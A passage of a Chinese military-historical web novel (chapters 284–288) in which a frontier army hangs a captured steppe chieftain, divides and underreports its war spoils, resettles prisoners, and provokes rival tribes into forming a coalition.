“你们?”秦猛脸色瞬间冷了下来,毫无商量余地,“全部抄没!天下乌鸦一般黑,尔等贵族头人,平日享尽荣华,欺负自己族人不含糊,入境劫掠之时,又何曾手软?有何颜面索取!”
“虎贲军赵将军即将抵达,如何处置尔等这些贵族,他说了算。我可管不了,你们就自求多福吧!”
说完,秦猛吩咐亲兵把他们带下去,严加看管。又下令通晓狼戎语的士兵随贾德前去宣布命令,并特意强调要将贵族头人的牲口被没收,不搞特殊化,待遇降至与普通牧民相同。
至于以前嚣张跋扈的,更是从重处罚。
秦猛对草原部落了解不深,但却知道有人的地方就是江湖,有穷人有富人,也有仇富之人呐!
以前部落规矩严苛,没有穷苦人敢说句坏话啥的。
现在都成了俘虏有人撑腰,那情况就不一样了。
这分化瓦解、转移矛盾的手段,立刻在俘虏群中引起了细微的骚动,一些普通牧民看向昔日贵族老爷,头人们的眼神,变得复杂起来。
这种策略归纳为叫“以夷治夷”!
就在这时,部落营地外传来阵阵马蹄声和喧哗。
那是外面的战斗已经结束,张富贵、周扬各自人马在打扫完战场后,率先从两侧迂回而至。
紧接着,王魁、徐强也押着一串垂头丧气的俘虏归来。尤其显眼的,是被捆得结结实实的德克萨,被袁飞带人推搡着,送到秦猛近前。
“大人,黑狼部落酋长德克萨带到!”袁飞上前复命,声音洪亮。
所有人的目光都聚焦在这位曾经的酋长身上。
此刻的德克萨,早已没了往日的威风,铁鳞甲破碎,脸上青肿,浑身血污、披头散发,狼狈至极,被捆成了粽子,嘴里塞着破布团子。
他却仍兀自挣扎不休,
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喉咙里发出野兽般的呜咽。
“德克萨……这名字,好熟悉的名字,我可是听了不止一次了。”秦猛踱步上前,上下打量着这位阶下囚,语气中带着毫不掩饰的讥讽。
“抬起头来!”牛五上前,粗暴地揪住他的发辫,向上提起。
“呜呜呜……”德克萨眼中满是怨毒,奋力扭动。
秦猛示意,士兵将其口中破布扯出。
“周狗!你们别太得意!”破布刚离口,德克萨便嘶声咆哮,状若疯癫,“你们这是挑衅整个草原。
我狼戎其他部落绝不会放过你们的。
长生天会惩罚你们这群侵略者,不死不休。到时,我犬戎族儿郎,杀光你们这些两脚羊!”
“呵,谁怕谁?”秦猛嗤笑一声,语气轻蔑,“至少,你黑狼部落已成过往,你德克萨是看不见那天了。
若非你狡猾歹毒,常年入境劫掠,妄启战端,黑狼部何至今日身死族灭?是你,带领黑狼部落走向灭亡,这一切,皆是你咎由自取!”
“周狗,你们卑鄙,使用阴谋……”德克萨继续叫嚷着。脸庞扭曲,满脸狰狞,透露着不服气。
秦猛一脚将他踹翻在地,一字一顿,犹如宣判:“成王败寇,输了就是输,哪来的借口?
就只能你们人多欺负咱汉人百姓?去**,堂堂一个酋长,如何不像勇士一般的死去?在这里叫嚷,如同个懦夫丢尽了黑狼部落的脸。”
德克萨被骂得狗血喷头,说不出话来。
这番如雷的吼声也让周围俘虏,纷纷低下头。许多狼戎人更是朝德克萨吐口水,表示不屑。
秦猛声音陡然提高,盖过了风声:“你狼戎族不是好杀么?不是喜欢抢吗?搞得谁不会似的。终有一日,我汉家铁蹄将踏遍这茫茫草原。”
“你德克萨是第一个被抓住的草原部落酋长,但绝不是最后一个。汉人爱好和平,但绝不怕事!当怒火被挑起来了,对敌人就是斩尽杀绝。”
“谁敢欺我汉家无人,不死不休,虽远必诛!”秦猛振臂高呼。
“不死不休,虽远必诛!”张富贵、李山、鲁真等将领纵声呼应,四周的士兵们用武器捶打胸甲,爆发出山呼海啸般的狼嚎般的呐喊。
“嗷嗷——”声震四野,刺破风雪。
刚刚被安抚下来的俘虏们在这冲天的杀气面前,再次吓得瑟瑟发抖,惊恐地望着这群气势如虹的汉家军人,仿佛看到了比草原狼群更可怕的存在。黑狼部落的时代,已彻底终结。
“报——”这时,一匹快马飞奔入驻地,大声汇报。
“主力大军已经抵至十里外!”
第285章 赵起临阵,德克萨授首
风雪渐歇,天地间一片肃杀。
远处,一道黑线缓缓蠕动,继而变成一片铺天盖地的潮水,向着黑狼部落族长驻地涌来。
——那正是由赵起将军亲自坐镇,率领三千精锐。护送铁血军寨辅兵和新兵驱赶的千辆大车。
车队绵延十余里,旌旗招展,车轮碾过积雪,发出沉闷而连绵的轰鸣,扬起的雪尘遮天蔽日。
这正是之前游弋在外的狼戎游骑惊惶逃窜的原因。
他们远远望见这无边无际的阵仗,只以为是上万周军主力压境,哪敢靠近探查,只能将“周军大举来袭”的恐怖消息带回各自部落,却不知这浩大声势下,为黑狼部失败埋下伏笔。
赵起将军端坐于骏马之上,面色沉静,并无半分焦急。
他对秦猛、赵平、周扬等人的能力有绝对信心,对情报和飞天卫的侦查反复核实更是无疑。
天时,冬季部落收缩。
地利,精确掌握黑狼部落位置。
人和,飞虎卫上下一心,出其不意,
此战若以五千精锐还拿不下一个可用兵力不过三千的中等部落,那飞虎卫的确可以解散了。
他姗姗来迟,正是为了稳坐中军,协调全局,并确保这庞大的后勤力量能及时接管战果。
驻地外,秦猛、赵平早已指挥士卒将积雪下的陷阱一一排除,绊马索解掉,踏出了一条宽阔的通道。见到赵起将军旗号,众将迎上。
“将军!”秦猛、赵平拱手行礼,虽经血战,精神却格外振奋,“这黑狼族长驻地已彻底控制。
东西两处马场亦有信号弹升空,应是严风、吴斌二位将军已得手。黑狼部落酋长德克萨已被生擒,此战,黑狼部落这个祸害已然除名!”
赵起黝黑的脸上露出欣慰的笑容,目光扫过众将,见不少人甲胄上血污未干,却个个眼神锐利,不由赞道:“好,做得好!诸位辛苦了,此战,扬我飞虎卫军威,定让草原诸部胆寒!”
在众人的簇拥下,赵起进入黑狼部落驻地。看着基本完好的栅栏和连片的毡房,马厩等,他眼中闪过一丝感慨。
镇守北疆二十余载,深入草原击溃部落军的次数不少,却缴获有限。
像今日这般,连窝端掉一个部落老巢,生擒其酋长、贵族,尽掠其人口牲畜,实乃平生首次。
“秦猛,你此番又立下首功!”
赵起拍了拍秦猛的肩膀,不吝赞赏。
秦猛连忙摆手:“将军谬赞,此战全赖赵大哥、周大哥正面牵制强敌,张副将他们舍命搏杀,我部方能奇袭得手。
若论首功,当属石地虎及其斥候弟兄,若非他们冒着风雪侦察、摸清地形,我军岂能如臂使指?”
他话音未落,一个瘦小身影不知从哪个角落钻了出来,正是斥候队长石地虎,他咧着嘴笑道:“将军,秦将军说得对啊!卑职可是把脑袋别在裤腰带上,潜入这座营地,搞侦察……”
他那副迫不及待表功的模样,顿时将众人逗得哄堂大笑,连日征战的血腥与疲惫似乎也冲淡了不少。
进入部落,秦猛命人将长老贾德带来。赵起得知此老仰慕汉文化,且曾反对入境劫掠,提倡贸易,态度较为客气,当面再次重申承诺。
“草原法则,弱肉强食,你部既败,按例皆为俘虏。然我大周乃礼仪之邦,不兴奴隶之制。
尔等只需服从管束,安心劳作,放牧,照料牲口。将来编户入籍,分予田地,亦可读书识字,安居乐业,强过在草原逐水草、担惊受怕。”
这番话通过通译军卒传达,让原本惶恐不安的俘虏们逐渐安心,尤其是普通牧民,对前往富饶,粮食无忧的大周,眼中重新燃起希望。
部落中央最豪华的德克萨大帐,此刻成了周军的临时指挥所。
赵起端坐主位,坐椅宽大,镶嵌宝石。
秦猛、赵平、周扬、张富贵等将领分列两旁。
德克萨被再次押上,他虽狼狈,却强自镇定,看到自己的位置被别人占了,冷哼一声,扭过头去。
赵起目光冰冷如刀,缓缓开口,声音不高,却带着沉重的压力:“德克萨,总算逮着你了。
永泰六年秋,你率三百骑夜渡浅滩,破我李家屯,屠戮军民两百余口,掠我妇孺百人;
永泰八年冬,你犯我双塔镇,焚毁望河村,劫掠粮队,致使三百边民冻饿而死;
永泰九年,你联合灰狐部落,截杀我边境商队,人货尽掠,尸骨无存……累累血债,罄竹难书。
今日,本将便以此帐为公堂,以此雪原为刑场,判你绞刑,以慰我大周冤魂在天之灵!”
德克萨闻言,脸色剧变,挣扎怒吼,用生硬的汉话叫嚷着:“我是黑狼部落酋长,按周律,需要上报朝廷,你没有资格擅自处置我。”
“死到临头还想屁吃。”秦猛嗤笑几声,冷冷喝斥。
“愣着作甚?拖下去!”赵平勃然大怒。
德克萨叫骂着:“周狗,你们不得好死!长生天会降下灾祸,你们的城池将会焚毁,你们的……”
“拖下去,立即行刑!”赵起毫不理会他的诅咒,厉声下令。
几名如狼似虎的军士将叫骂不休的德克萨拖出大帐。
很快,空地上已立起一座简易绞架。所有黑狼部落俘虏,被
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解救的汉人奴工,都被集中起来。
德克萨被反绑双手,押至绞架下。
一名嗓门洪亮的军吏,用周语和狼戎语交替高声宣读着他的条条罪状:何时何地,**多少百姓,焚毁多少村庄,劫掠多少财物人口……
每念一条,都引来被解救汉奴们咬牙切齿的咒骂和哭泣,他们眼中喷射着仇恨的火焰,若非军士拦着,早已冲上去,将德克萨撕碎。
而狼戎俘虏们则大多羞愧地低下头,一些原本忠于德克萨的战士,在听到这赤裸裸的罪证时,也不禁面露复杂之色,长叹是咎由自取。
德克萨面色惨白,兀自强撑,试图昂起头保持最后的尊严,但颤抖的双腿和绝望的眼神出卖了他。
当那冰冷粗糙的绞索套上脖颈的瞬间,他浑浊的瞳孔猛地收缩,一生的画面疯狂地涌入脑海。
他仿佛又回到了那些秋风烈马的季节,他高踞马背,看着麾下的儿郎如狼似虎般冲入大周的村庄,火光冲天,哭喊盈野。
他记得自己弯刀挥下时,周人老弱那绝望的眼神;
记得抢来的金银绸缎堆满帐篷时,族人的欢呼;
更记得自己曾傲慢地宣称,汉人懦弱,是两脚羊。只配成为奴隶,成为草原部落的粮仓。
那些烧杀抢掠的“丰功伟绩”,此刻不再是骄傲的资本,而是催命的符咒,每一笔血债仿佛都化作了绞索上的纤维,不断绷直、勒紧。
然而,最刺痛他心脏的,却是三子穆托达那张惊恐万状的脸!就在数个时辰前,就在这片营地里,那个他一直认为聪明,是部落**人的儿子,被周军从俘虏群中拖出,被一刀毙命。
他亲眼看着穆托达倒下,看着那年轻的生命如同被踩灭的火星般瞬间消逝,而身为父亲、身为酋长的他,却只能像条死狗一样被捆着,无能为力。
那一刻的锥心之痛,远比颈上的绳索更让他窒息。
是了,如果不是自己一意孤行,坚持劫掠大周边境,妄图迅速壮大,聚拢狼戎族各部,脱离联盟,黑狼部落怎么会招来这灭顶之灾?
儿子又怎么会死?
野心……野心葬送了一切!
“咔嚓,呃呃啊——!”德克萨发出了混合着极致不甘、无尽悔恨与彻底绝望的嘶吼,这吼声撕裂了他的喉咙,却穿不透命运的罗网。
他不甘心,双脚疯狂蹬踏,身体剧烈地挣扎扭动,但一切终是徒劳,反而加剧了他的死亡。
最终,在全体黑狼部俘虏和被解救汉人奴工目光复杂的注视下,他双脚悬空,挣扎渐渐微弱,结束了充满野心、罪恶与无尽遗憾的一生。
第286章 大捷之后,喜忧参半
毡房内,中央火塘头档香粪燃烧正旺,暖意融融,驱散了寒意,更是弥漫着一股药草香味。
随着德克萨被处决,先前那股紧绷的肃杀之气缓和了不少。
众人刚落座,秦猛便率先打破沉默,主动起身抱拳道:“将军,末将正有一事需立即禀报。”
“讲。”赵起点点头。
“我军在选定路线、穿插而来的途中,曾遭遇一小队女真猎人。”秦猛声音沉稳,将过程一一道来。
“这群**发现山林上留有马蹄印记,竟不知死活追来,为免行踪泄露,我便当机立断,遣李山、王善等将带人潜入林中,将那些正在狩猎的女**尽数斩杀,只留了几个活口讯问。”
他顿了顿,帐中所有人的目光都集中过来。“据俘虏口供,他们是女真蒲察部落的成员。此部五千帐,人口过两万,是附近一支势力颇强的部落。
末将推断,我麾下行动虽力求干净利落且稍有掩饰,但难保对方没有后续照看马匹的人员。
他们很可能已经发现族人失踪,寻找到了。加之黑狼部被灭的消息一旦传开,蒲察部极有可能会将两件事联系起来,怀疑到我们头上。”
“秦知寨所言极是。”赵平眉头紧锁,接口道,“如此看来,我们绝不能因一场胜仗就麻痹大意,必须时刻提防草原上的其他部落反扑。”
“不错,”尤其是这个蒲察部!”众人纷纷附和。
“末将也因此担心。”秦猛继续说道,“故而当务之急,是尽快消化此战成果,并应对可能到来的报复。”
赵起一掌拍在案几上,声如洪钟:“各营做好战备,不可懈怠。管他女真蒲察部还是什么部,只要这些**敢来,定叫他们有来无回!”
“得令。”
帐中将领精神一振,纷纷回应。
秦猛话锋一转,自然地将话题引向了战利品的处置上,“将军,这批狼戎俘虏,便是眼下最要紧的资源。
开春后,我军寨需重修芦苇堡、开垦军屯,双涡堡也急需增添劳力,之前贾德哀求连连,哭嚎震天,我便承诺降众,保留其部分财产以安其心,这群穷鬼没多少首饰,不用上交。”
秦猛老实不客气地说着:“这批俘虏,不如就交由我来整编安置,严加管束,于边塞屯田、放牧,以我军寨约束手段,必可化为我用。”
赵起略一沉吟,秦猛的分析让他深以为然:“你考虑的的确周全,此事便由你主导处置。
不过,我飞虎卫各营战马损耗甚巨,牧养人手也需补充,需优先挑选健壮俘虏负责此事。”
“这是自然!”秦猛爽快应下,“俘虏清点完毕后,人口户籍落在我这,飞虎卫各营可优先挑选身强力壮者补入马政,老弱妇孺归我便可。”
“有了这批人口牲畜,我打算在辖内建立一处牧场,一个奶制品作坊试点。若经营得法,明年我军便可大规模组织牧养,不仅能满足军需,多余产出还可与商队贸易,充实军资……”
秦猛顺势将心中的规划粗略道出,赵起听得连连点头,觉得秦猛这脑袋瓜灵活,想法挺多。
帐中诸将也觉前景明朗,被这务实而富有雄心的规划化解为积极的动力,一个个加入讨论之中。
……
夜幕即将降临时,东面火把如龙,严风率领狂风营驱赶着缴获的大群牲口,押解着俘虏,浩浩荡荡返回。
人马虽然疲乏,却士气高昂。
深夜时分,西面亦是火光冲天,吴斌的雷霆营也凯旋。牲口成群黑压压一片,带来的牛羊战马和俘虏数量,竟比严风部犹有过之。
整个驻地人喊马嘶,灯火通明。
辅兵领队韩勇带着大批文吏,在李山,周扬等将轮番执勤和军卒协助下,投入繁重的清点工作。
从深夜,直到次日中午,统计才基本完成。
韩勇带着厚厚的账册,快步走入中央大帐,脸上是难以抑制的激动:“禀将军,初步清点完毕!”
帐内瞬间安静下来,所有目光都聚焦在他身上。
“此战,共俘获黑狼部众五千六百余人,其中男丁约一千三百,女眷三千五百余,其余皆为半成年。”
“缴获马匹,合计一万两千余!其中堪为战马者九千三百匹,驮马两千七百余。
牛,六千四百头。肥羊,三万两千余只。另有骆驼、驴等牲口八百余头,此战收获巨丰。”
韩勇做皮货生意这么多年,从未见过如此多牲口。紧了紧手中账本,说话都带了些颤音。
“唯一缺陷,便是现今部**厩、牛棚乃至空地,皆已挤满!”
“另外,从部落库房及各贵族毡房**搜出:白银一万八千两,黄金三千七百两,各类金银饰品、珠宝、皮货、精美器皿无算,尚在逐件登记!”
这一连串惊人的数字报出,大帐内先是一片死寂,片刻后,爆发出热烈的欢呼和议论声。即便是主位上的赵将军,脸上也浮现笑容。
如此庞大的缴获,尤其是近万匹战马和数万头牲畜,足以让飞虎卫乃至整个北疆边军的实力跃升一个台阶。
金银财物更是一笔巨大的军资。
赵起猛地一拍案几,豁然起身,眼中精光四射:“好
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,甚好!此乃我北疆边军数十年来未有之大胜。
传令下去,杀牛宰羊,犒赏三军。阵亡将士优厚抚恤,有功将士,本将定当向朝廷为其请功。”
欢呼声浪,几乎要将毡房顶掀开。
黑狼部落的覆灭不仅是一场军事胜利,而且丰富的缴获,让飞虎卫各营军资宽裕了不少。有更多的钱还招兵买马,更是可巩固边塞防御。
而幽州虎贲军飞虎卫的威名,必将响彻整个草原。更能够震慑宵小之辈,保障周边区域安宁。
这是一举多得的好事情!
热烈的气氛稍稍平息,但一众将领脸上仍洋溢着兴奋的红光——如此巨大的缴获,如何分配,便成了眼前最关键、也最敏感的问题。
资历老又稳重的周扬捻着短须,突然开口,声音压低了少许,却清晰地传遍帐内:
“将军,诸位,此战斩获甚巨,实乃我军大捷,几十年来未有过。然而,木秀于林,风必摧之。若将此等战果如实上报帅司,乃至朝廷……”
他话未说尽,但帐内众将,包括秦猛、赵平这等少壮派,脸上喜色渐退,神色都凝重起来。
他们深知大周素来崇文抑武,对武将防范甚重。加上时局混乱,朝堂奸臣扎堆,争权夺势。
边军武将若功劳太大,缴获过丰,就成了出头鸟。非但未必能得朝廷重赏,反而可能引来猜忌、掣肘,甚至被调离瓦解、夺其兵权。
更何况,若让朝廷和帅司知道有如此多的战马、金银缴获,必然大部分都要上缴,能留在军中的恐怕十不得一,这无异于自断臂膀。
张富贵性子直,忍不住嘟囔:“娘的,咱们兄弟拼死拼活,难道还要把到嘴的肉吐出去大半?”
李山忙拉了拉他,示意他别多嘴。
赵起将军端坐主位,手指轻轻敲击着案几,面沉如水,并未立即表态,但也没有出声反驳周扬。
这种沉默,本身就是一种默认。
他镇守边关二十余年,见过太多鸟尽弓藏的例子。龙骧军岳战,鹰扬军韩燕,都是边军杰出的将帅,奈何,功劳太大,被朝廷召回京城,或者被奸臣陷害,落了个被抄家的局面。
有些话,他不可能明说,得需要部下们自己意识到问题的严重性,并拿出一个可行的方案。
毡房里一片沉默,只有干牛粪燃烧的噼啪声响。相对而坐的秦猛与赵平对视一眼,心领神会。
秦猛起身,环视众人,沉声道:“周大哥所言极是。依我看,此番缴获,需‘量力而行’上报。”
顿时,所有视线都齐刷刷看了过来!
第287章 战后分利,三策并行
“秦某提议,将此次缴获均分为十份。”
秦猛没有丝毫怯场,反而把自己的打算说出来:“其中一份,连同德克萨等首要俘虏的首级,金符,狼旗下信物等,以及部分破损甲胄兵器,少量牛羊牲口,作为战利品呈送帅司。
这个一份也是有讲究的,如战马和驮马上报几千匹,咱们留下部分补充军需,送过去两千多匹,这已经够给面子,还不满足,是给他脸了?”
“牛羊同样如此上报即可,几场战役尽量一笔带过,模糊处理,不要说的那么详细。就说战场打扫不及,草原部落来援迅速,不得不撤退。
总之,就说是突袭击溃黑狼部缴获,呈递给帅司的战报要润色修辞,尽量夸耀,最好把吴大帅指导有方写进去,让他为我飞虎卫请功。”
秦猛一副做过的老鸟模样,令众人为之侧目。包括主位上的赵将军,莫名想起了以往秦猛的战报,心里直突突,看来这小子挺会忽悠人。
秦猛丝毫没有察觉自己漏了点马脚,滔滔不绝:“如此一来,既显我军威,又不至过于扎眼,引来不必要的麻烦,吴大帅也有功绩。此乃一举多得,剩下的缴获则用来充作军备。”
“你们不说,我就不客气了!”秦猛搓了搓手,又伸出两根手指:“我陷阵营弟兄此番身先士卒,且后续安置俘虏、修缮堡寨需大量钱粮人力,我取两份,用于抚恤、赏赐及后续建设。”
这个要求合情合理,更是往少了说,他秦猛主张攻打,侦察情报,正面强攻,陷阵营确是此战首功,且他又承担了最危险的突袭任务。
只说两份,无疑是以退为进,免得被人说成贪婪。
更何况,他只要把军队训练好,驻扎在最前线就少不了跟**交锋,还怕没有牛羊战马吗?
接着,秦猛又继续说道:“飞虎卫各营弟兄同心戮力,功不可没,剩余的七份,由将军来定……”
“不可,两份太少……”赵平愣神过后,直接站起来,摇头反对,“秦知寨陷阵营应该得四份缴获。
若非你从去年腊月就开始策划此事,后又派人入草原侦查,绘制出详细的地图,更是制定战术,绝无今日之胜。就更别提有如此缴获。
张富将和你亲自带队出击,一前一后,按秦知寨你和陷阵营的功劳,占得此次战利品半数都是应该的。两份太少,四份缴获实至名归。”
赵平又看了看众人,继续说道:“秦知寨付出有目共睹,剩下的五成缴获,由将军统筹安排调度,按各营出力大小、伤亡情况来分配,以犒赏将士,抚恤,更换军备,蓄养战马。”
大帐内一片寂静,所有人都看向赵起。
这种方案,尽量少报战利品,显然是在座大多数将领心中所想,只是由秦猛,赵平说了出来。
按照军功大小,这分配比例并无不妥之处。但最终这方案是否可行,还需要赵将军拍板决定。
赵起终于抬起了眼,目光锐利地扫过众人,缓缓点头,一锤定音:“可以,就依此议行事。
但稍微调整一下,陷阵营获得的战马改为两份,牛羊牲口则为六份,正好充实牧场用来牧养。这样分配,不知诸位将军有没有问题?”
“没问题。”秦猛笑开了花,连连点头。他正愁着马匹吃得多,兵卒不够,寨子本就有马剩余。多了些牛羊牲口,开春后,正好用来放牧。
“没问题。”赵平,严风,吴斌,李雄几营正副将也笑了,他们缺的就是好马,是求之不得。至于牛羊分摊剩下三成,也足够吃很久了。
赵起见没有人反对,脸色变得严重,沉声道:“此事仅限于帐内诸将知晓,若有外泄,军法从事!”
他顿了顿,补充道:“具体分配细则,由赵平、严风协助秦猛共同拟定,务求公允。周扬,你负责将上报帅司的那一份‘打理’得像样些。”
“末将明白!”周扬躬身领命。
所谓“打理”,这是边军不成文的规律,打了胜仗后,把最好的战马牛羊、最完整的装备、最耀眼的金银器皿留下,挑些次等的破损的充数。
这不是边军将领有别的歪心思。
而是朝廷奸臣当道,贪官横行,调拨的粮饷、装备,马匹等物资时常拖延不到,不用这些手段缴获战利品变卖,边军体系估计难以维持。
报功方案已定,就是黑狼部落的地盘。这个中等部落,方圆百里,适合放牧的草场共有十多处。
经过众人商议,最终只能无奈地放弃。只能见好就收,裹挟大量战利品和人口迅速撤离。
主要是周军作战依靠后勤补给,占据牧场准备不充分,离最近的边堡百多里,战线拉得太长。
其次,草原上各部落虎视眈眈,眼下根本不适合。一句话,孤军突袭,能打得下来却守不住!
众人依计行事,庞大的机器立刻高效运转起来。
秦猛亲自负责俘虏整编,他站在高处,望着下面黑压压一片、神色仓惶的俘虏,声音沉浑有力,由通晓狼戎语的士卒大声翻译出去:
“都听着!战争是残酷的,没人喜欢。但我上朝大周是礼仪之邦,汉家儿郎向来崇尚和平安宁的生活,是你们的首领,先挑起了战火!”
他目光扫过众人,见不少人低下头去,语气稍缓:“如今,你们败了,成了战俘,这是事实。
但我等并非嗜杀残暴之辈。只要放下武器
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,服从管束,我以军誉担保,不把你们当奴隶,会给你们基本的**,让你们过得更好。”
“话又说回来,”他声调一转,透着不容置疑的威严,“既然败了,就要服从命令,在我虎贲军,规矩只有一条:肯干活,就能吃饱饭;不捣乱,就有碗饭吃,做得好,有奖励又被提拔,用你们的双手,为自己挣一条活路!”
那个剑客周鸣目睹这一幕,找到秦猛提意见:“大人,狼戎是以家庭为单位,现在许多青壮战死,别把妇人和孩子分开,以安抚其心。等以后与汉人混居可以进行通婚,逐渐同化。”
“不错,你这才算是站在同胞的角度上考虑问题。”秦猛也有拆散,温水煮青蛙一步步汉化的想法,听到周鸣这个提议,对他的态度友善不少。
狼戎族部落,是以家庭为单位组成的。阿寅勒(家庭-牧团),十几或几十口人,几百牲畜。
十几个阿寅勒组成一个爱曼(氏族),成员共一个祖父或曾祖父,人口几百,牲畜几千。
十几个爱曼组成一个鄂托克(部落),人口从几千到几万,自称“××部”,这就是部落的由来。
秦猛采纳了周鸣的一些建议,并未简单粗暴地打散。
而是以家庭为单位进行编组,百人为一队,五百人为一部,多为较为陌生的家庭重新编组。
百人队,设一“队长”,优先选择如贾德长老及其亲属、以及之前被解救的汉人奴工中稍有威信者担任,并允许拥有个人财产及生活物资。
五百人设立教导队,由会说狼戎话的军卒担任队长。来引导这些狼戎俘虏,尽快安定下来。
同时宣布,原有部落贵族及其亲信被单独编入“劳役队”,剥夺大部分财产,承担最苦最累的劳作。
这一手“分化瓦解、拉拢底层”的策略效果显著。普通牧民见周军并未肆意虐杀,反而保留了他们的家庭和部分财产,反抗情绪大减。
而对昔日欺压他们的贵族被惩治,不少人甚至暗自称快。贾德长老更是积极协助安抚族人,来换取孙子伯恩和部分亲族的较好待遇。
缴获的物资清点装箱,庞大的牛羊马群被分批驱赶。
谁家的毡房就由俘虏主导拆卸,没人认那就充公。
辅兵和新兵们驾驶着上千辆大车,狼戎部落各家有的拖车,全被套上牛马,在军士护卫下,开始将一栋又一栋毡房、粗重器物拆解装车……
数千人各司其职,一切井然有序。
就在周军紧张忙碌之际,黑狼部落被灭的消息,已像草原上的野火般,借着逃散的零星溃兵和远处窥探的游骑,迅速传遍周边部落。
第288章 草原风起,联军初酿
同属狼戎一族,黑狼部附近的青狼部和白鹿部,最先被溃逃的黑狼残兵带来的噩耗所震动。
消息初至时,青狼部酋长卡扎特的第一反应是荒谬:“半日?覆灭?胡言乱语!定是德克萨这个狂妄的家伙,打了败仗,想夸大敌情。”
但随着更多溃兵像受惊的兔子般逃至部落求救,描述逐渐拼凑起来——周军如神兵天降,攻势凌厉精准,黑狼部组织起来的抵抗徒劳无功。
卡扎特脸上的质疑渐渐消失,取而代之的是一股彻骨的寒意,从脚底板升起一路蔓延到头顶。
不仅是恐惧,更有一种兔死狐悲的惊悸。强势的黑狼部尚且如此,若是周军的下一个目标是自己……
青狼部酋长大帐内,灯火摇曳,气氛压抑得能拧出水来。
十来位贵族和头领齐聚一堂,人人脸色凝重。
“飞虎卫赵起……还有那秦猛,他们这是要做什么?真要赶尽杀绝,不给我狼戎活路了吗?”一名千夫长的声音中带着难以掩饰的惊惧。
“情况显而易见,周军是过来报复解决边境的部落。他们这次是杀鸡儆猴,我们就是那只‘猴’!”一位面容精瘦的长老沉声道,指节下意识地敲打着桌面。
又一位头发花白的老者捶胸顿足,既是哀叹,也暗含对部落未来命运的忧虑:“瘦死的骆驼比马大,大周岂是我等边陲部族能够轻易撼动的?我早就劝过德克萨,行事须有分寸,如今……唉!”
“酋长!”一名年轻气盛的勇士站起身,大声叫嚷着,脸上满是桀骜不服,“黑狼部遭此大难,我等若龟缩不出,岂不让周遭部落耻笑?
应当立刻联合白鹿部,甚至上报联盟,集结大军,给周人一个狠狠的教训,让他们知道狼戎不可轻辱!”
“糊涂!”主位上的卡扎特酋长厉声呵斥,目光锐利地扫过请战的将领,“周军新胜,兵锋正锐,士气如虹。溃兵又说至少有数万大军。
不清楚敌人虚实的情况下,此时前去,与送死何异?你想让青狼部,步入黑狼部的后尘吗?”
他顿了顿,压下帐内的骚动,声音低沉却带着不容置疑的决断:“传我命令。各部族立即收缩力量,向主营靠拢,暂时放弃边缘小草场,所有巡逻队不得远离营地百里。
多派精锐斥候,严密监视周军动向,但有异动,立刻来报!当前首要之事,是保全部落!”
类似的情景也在白鹿部上演,但争论更为激烈。
以勇武著称的几名头人怒发冲冠,坚持要联合周边部落,趁周军立足未稳予以反击,维护狼戎的尊严。
而更多经验老到的长老则力主谨慎,认为在完全弄清周军意图和实力前,任何莽撞行动都可能招致灭顶之灾。
双方争执不下,最终,更为务实和担忧部落存续的保守派意见占据了上风,不可轻举妄动。
白鹿部同样做出了收缩防御,并急报联盟请求指示的决定。
随着消息如草原上的风一般扩散到更远的部落,黑狼部落半日被灭族,引发的震动丝毫不减。
许多原本听闻黑狼部强盛,也蠢蠢欲动、盘算着在秋高马肥时南下“打草谷”的部落首领,瞬间将那点心思压了下去,取而代之的是深深的忌惮。
他们开始重新评估与周朝边境的关系,一些小型部落甚至暗中商议,是否应该考虑派遣使者,恢复牛羊贸易,向周朝示好,以求自保。
就在青狼、白鹿等狼戎部落因黑狼部的覆灭而惊惧万分、选择收缩观望的同时,在更北方、山脉另一侧,一个更强大、也更暴躁的势力。
——女真蒲察部落被彻底激怒了。
一队由一名年轻猛安率领的、约百人的精锐狩猎队,按照往年惯例,越过传统分界山脉,进入黑狼部落势力边缘的丰饶山林进行冬季围猎。
这本是强者对弱者的某种“惯例”越界,曾经的黑狼部落即便知道女真行径,也只能忍气吞声。
然而,这一次,他们撞上的不是忍气吞声的黑狼部牧民,而是正在执行外围警戒和清扫任务的周军游骑,抢夺马匹不成,反被格杀勿论。
总之,这场遭遇战短暂而血腥。
装备精良、战斗经验丰富的周军游骑,在有心算无心的情况下,几乎全歼了这支蒲察部的狩猎队。
幸亏后面照看马匹的队伍发现不对劲,进入山林找到了战斗的痕迹和被扒了个精光的族人尸体。
那名身份尊贵的年轻猛安和几个族人下落不明。
最初女真部落以为是黑狼部落做的,举族愤怒。到处都是叫嚷声和骂声,想要出兵绕过山林,要给这个日渐骄横的黑狼部落一个教训。
然而,就在部落准备备战的时候。黑狼部落突然被周军彻底剿灭的消息,传回蒲察部落时,整个部落变得死寂一片b高层们却炸开了锅。
“什么?我儿阿木罕的狩猎队是被周狗灭的?”一位面如黑铁的蒲察部落大贵族,猛地摔碎了手中的银碗,双目赤红,如同暴怒的棕熊。
“周狗!欺人太甚!他们竟敢越境杀我族人,连猛安勃极烈都敢抓走,这是对我蒲察部的宣战!”
帐内其他贵
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族、将领也群情激愤。相较于黑狼部落的灭亡,他们更愤怒于本部落精锐狩猎队的损失,尤其是其中一位猛安的生死不知。
这对极其看重勇武和荣誉的女真部落来说,是奇耻大辱!
“酋长!出兵吧!踏平那些周狗的营寨,用他们的血祭奠儿郎的英灵!”
“对!让他们知道,草原不是他们可以撒野的地方!”
怒斥声、请战声不绝于耳。
端坐主位上的蒲察部落大酋长,虽然同样愤怒,但眼神却更为深沉和谨慎。他压了压手,让帐内稍微安静,沉声道:“仇恨,必须要报!蒲察阿木罕的血不会白流。但是——”
他话锋一转,声音冰冷:“周军能一日之内灭掉黑狼部,战力不容小觑。他们现在士气正盛,缴获极丰,我们若单独前去,即便最终胜了,也必是惨胜,让其他部落捡了便宜。”
他目光扫过众人:“立刻派出最快的骑手,携带我的信物,前往附近的青狼部、白鹿部,还有……嗯,甚至包括一直与我们不睦的秃鹫部。
告诉他们,周军此次大举北上,其志非小。今日灭的是黑狼,明日屠刀就会落到我们任何一个部落的头上。唇亡齿寒的道理,他们应该明白!”
“我们要组建部落联军!”大酋长蒲察蒙托斩钉截铁地说,“集合我们草原各部儿郎的力量。
趁周军携带大量俘虏和缴获,行动不便之机,将他们彻底赶出草原!至少要让他们付出惨重代价,受到了教训,不敢再轻易踏足草原。”
以往,草原各部为争夺草场、水源、牲畜,仇杀不断。
但此刻,在大周军队展现出的战斗力和巨大威胁面前,在女真蒲察部有意推动下,一种基于恐惧和共同利益的脆弱联盟开始迅速酝酿。
……
风雪渐渐小了些,夜色再次降临,黑狼部落旧址上灯火通明,人声鼎沸,却已经换了主人。
